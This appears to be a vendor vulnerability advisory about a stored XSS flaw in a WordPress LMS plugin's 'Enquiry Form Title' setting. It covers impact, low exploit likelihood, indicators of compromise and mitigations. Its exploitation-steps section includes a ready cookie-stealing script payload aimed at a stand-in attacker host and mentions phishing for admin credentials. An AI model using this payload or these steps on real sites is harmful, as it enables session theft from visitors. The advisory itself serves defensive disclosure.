CVE-2026-2714
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-2714 is a Stored Cross-Site Scripting (XSS) vulnerability in the Institute Management – Learning Management System plugin for WordPress, affecting all versions up to and including 5.5. The flaw exists in the 'Enquiry Form Title' setting due to insufficient input sanitization and output escaping. It was published on April 22, 2026, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 4.4 (Medium), and is limited in scope to multi-site WordPress installations and those where unfiltered_html has been disabled (GitHub Advisory, Wordfence).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-site Scripting). The vulnerable code resides in admin/inc/wl_im_settings.php at line 47, where the 'Enquiry Form Title' setting value is stored without proper sanitization and later rendered without output escaping (GitHub Advisory, WordPress Trac). Exploitation requires an authenticated attacker with Administrator-level privileges or higher, and the attack is only viable in multi-site WordPress environments or where the unfiltered_html capability has been disabled — conditions that would otherwise prevent administrators from injecting raw HTML. No public proof-of-concept exploit code has been identified (Wordfence).

Impact

Successful exploitation allows an authenticated administrator to persistently inject arbitrary JavaScript into pages served to all subsequent visitors of the affected WordPress site. This stored XSS can be leveraged to steal session cookies, perform actions on behalf of other users (including privilege escalation in multi-site contexts), deface site content, or redirect users to malicious external sites. Availability is not impacted, but both confidentiality and integrity are affected at a low level due to the scoped nature of the attack (GitHub Advisory, Wordfence).

Exploitability

There is no known public proof-of-concept exploit and no evidence of active in-the-wild exploitation as of the time of publication (GitHub Advisory). The EPSS score is approximately 0.008–0.011%, placing it in the 2nd percentile for exploitation likelihood within 30 days. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is further constrained by the requirement for high-privilege authenticated access and specific WordPress configuration conditions (Wordfence).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Institute Management plugin version ≤ 5.5 in a multi-site configuration or with unfiltered_html disabled. Tools like WPScan can enumerate installed plugins and versions.
  2. Obtain Administrator Access: Gain or already possess Administrator-level credentials for the target WordPress installation (e.g., via credential stuffing, phishing, or insider access).
  3. Navigate to Plugin Settings: Log in to the WordPress admin dashboard and navigate to the Institute Management plugin settings page.
  4. Inject Malicious Payload: In the 'Enquiry Form Title' field, enter a crafted XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> and save the settings.
  5. Payload Persistence: The malicious script is stored in the WordPress database without sanitization.
  6. Trigger Execution: Any user (including unauthenticated visitors) who accesses a page rendering the Enquiry Form Title will have the injected script execute in their browser, enabling session cookie theft or other client-side attacks (GitHub Advisory, WordPress Trac).

Indicators of compromise

  • Logs: WordPress admin audit logs showing modification of Institute Management plugin settings (specifically 'Enquiry Form Title') by an administrator account, particularly from unexpected IP addresses or at unusual times.
  • Database: Presence of JavaScript tags or encoded script content (e.g., <script>, %3Cscript%3E, javascript:) in the stored value of the 'Enquiry Form Title' setting within the WordPress wp_options table.
  • Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the Enquiry Form, potentially carrying cookie or session data in query parameters.
  • File System: Unexpected modifications to admin/inc/wl_im_settings.php in the Institute Management plugin directory, which could indicate tampering beyond the settings UI (Wordfence).

Mitigation and workarounds

Update the Institute Management plugin to a version higher than 5.5 as soon as a patched release becomes available; the GitHub Advisory (GHSA-4mj3-26h4-xjcm) confirms a patch exists (GitHub Advisory). As an interim measure, restrict Administrator-level access to trusted personnel only and audit existing plugin settings for any injected script content. Implementing Content Security Policy (CSP) headers on the WordPress site can serve as a defense-in-depth measure to limit the impact of any stored XSS. Sites not operating in multi-site mode and with unfiltered_html enabled are not affected by this specific vulnerability.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-92541HIGH7.2
  • import-users-from-csv-with-meta
NoYesSep 20, 2026
CVE-2026-92540HIGH7.2
  • import-users-from-csv-with-meta
NoYesSep 20, 2026
CVE-2026-86785MEDIUM5.3
  • woo-to-facebook-shop
NoNoSep 20, 2026
CVE-2026-92965LOW3.7
  • tiktok-for-business
NoYesSep 20, 2026
CVE-2026-92423LOW2.7
  • meow-gallery
NoYesSep 20, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management